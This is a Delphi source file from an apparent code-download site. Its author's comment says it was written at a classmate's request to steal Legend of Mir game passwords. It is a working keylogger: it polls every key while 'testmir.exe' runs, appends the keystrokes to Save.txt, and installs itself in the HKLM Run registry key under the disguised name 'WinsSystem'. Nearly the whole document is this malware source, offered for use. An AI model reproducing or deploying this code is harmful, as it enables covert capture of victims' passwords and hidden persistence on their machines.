main.pas
资源名称:进程监视.rar [点击查看]
上传用户:mrkingwuhu
上传日期:2007-05-27
资源大小:185k
文件大小:8k
源码类别:
控制台编程
开发平台:
Delphi
- unit main;
- {受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手知道原理是键盘
- 记录这方面的,所以写了个很简单的键盘记录器罢了,并不是什么密码截取器.
- (以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视TEST.EXE进程是否存在,如果
- 存在,就马上记录所有键盘操作,别外一个用来监视,TEST.EXE是否退出,如果退出了,就马上
- 停止监视.
- 有一部份代码是COPY他人的,在此多谢,本程序只是个人爱好写着玩玩儿已
- 本个是个菜菜,希望有机会与高手交流.........
- QQ:3800151 MAIL:XXXFFF_CN@TOM.COM WEB:WWW.SZPROGRAM.COM}
- interface
- uses
- Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
- Dialogs, ExtCtrls, StdCtrls, Registry;
- type
- Tw_main = class(TForm)
- Timer_keyrec: TTimer;
- Timer_savetxt: TTimer;
- Memo_gettxt: TMemo;
- Timer_thread: TTimer;
- Label_thread: TLabel;
- procedure Timer_keyrecTimer(Sender: TObject);
- procedure Timer_savetxtTimer(Sender: TObject);
- procedure Timer_threadTimer(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- var
- w_main: Tw_main;
- implementation
- uses public_fun;
- var
- F:Textfile;
- {$R *.DFM}
- //Detect Press Key From any window
- procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
- var
- i : byte;
- begin
- for i:=8 To 222 do
- begin
- if GetAsyncKeyState(i)=-32767 then
- begin
- case i of
- 8 : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
- 9 : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
- 13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
- 17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
- 27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
- 32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
- // Del,Ins,Home,PageUp,PageDown,End
- 33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
- 34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
- 35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
- 36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
- //Arrow Up Down Left Right
- 37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
- 38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
- 39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
- 40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
- 44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
- 45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
- 46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
- 145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
- //Number 1234567890 Symbol !@#$%^&*()
- 48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
- else Memo_gettxt.text:=Memo_gettxt.text+'0';
- 49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
- else Memo_gettxt.text:=Memo_gettxt.text+'1';
- 50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
- else Memo_gettxt.text:=Memo_gettxt.text+'2';
- 51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
- else Memo_gettxt.text:=Memo_gettxt.text+'3';
- 52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
- else Memo_gettxt.text:=Memo_gettxt.text+'4';
- 53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
- else Memo_gettxt.text:=Memo_gettxt.text+'5';
- 54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
- else Memo_gettxt.text:=Memo_gettxt.text+'6';
- 55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
- else Memo_gettxt.text:=Memo_gettxt.text+'7';
- 56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
- else Memo_gettxt.text:=Memo_gettxt.text+'8';
- 57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
- else Memo_gettxt.text:=Memo_gettxt.text+'9';
- 65..90 : // a..z , A..Z
- begin
- if ((GetKeyState(VK_CAPITAL))=1) then
- if GetKeyState(VK_SHIFT)<0 then
- Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
- else
- Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
- else
- if GetKeyState(VK_SHIFT)<0 then
- Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
- else
- Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
- end;
- //Win
- // 91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
- // 92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
- //Numpad
- 96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad 0..9
- 106:Memo_gettxt.text:=Memo_gettxt.text+'*';
- 107:Memo_gettxt.text:=Memo_gettxt.text+'&';
- 109:Memo_gettxt.text:=Memo_gettxt.text+'-';
- 110:Memo_gettxt.text:=Memo_gettxt.text+'.';
- 111:Memo_gettxt.text:=Memo_gettxt.text+'/';
- 144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
- 112..123: //F1-F12
- Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
- 186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
- else Memo_gettxt.text:=Memo_gettxt.text+';';
- 187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
- else Memo_gettxt.text:=Memo_gettxt.text+'=';
- 188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
- else Memo_gettxt.text:=Memo_gettxt.text+',';
- 189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
- else Memo_gettxt.text:=Memo_gettxt.text+'-';
- 190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
- else Memo_gettxt.text:=Memo_gettxt.text+'.';
- 191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
- else Memo_gettxt.text:=Memo_gettxt.text+'/';
- 192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
- else Memo_gettxt.text:=Memo_gettxt.text+'`';
- 219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
- else Memo_gettxt.text:=Memo_gettxt.text+'[';
- 220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
- else Memo_gettxt.text:=Memo_gettxt.text+'';
- 221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
- else Memo_gettxt.text:=Memo_gettxt.text+']';
- 222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
- else Memo_gettxt.text:=Memo_gettxt.text+'''';
- end;
- end;
- end;
- end;
- procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
- begin
- Assignfile(F,'Save.txt');
- if not FileExists('Save.txt') Then
- begin
- Rewrite(F);
- Closefile(F);
- End
- Else
- Assignfile(F,'Save.txt');
- {$I-}
- Append(F);
- {$I+}
- If IOResult<> 0 Then
- Begin
- ShowMessage('Cannot Open File');
- End;
- Write(F,Memo_gettxt.Text);
- Memo_gettxt.Clear;
- Closefile(F);
- end;
- procedure Tw_main.Timer_threadTimer(Sender: TObject);
- begin
- if detecthread('testmir.exe')='exist' then
- begin
- label_thread.Caption:='thread is Exist';
- timer_keyrec.Enabled:=true;
- end
- else
- begin
- label_thread.Caption:='thread is NOTexist';
- timer_keyrec.Enabled:=false;
- end;
- end;
- procedure Tw_main.FormCreate(Sender: TObject);
- var
- regis_mymir:TRegistry;
- begin
- regis_mymir:=TRegistry.Create();
- regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
- regis_mymir.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);
- regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
- regis_mymir.Free;
- end;
- end.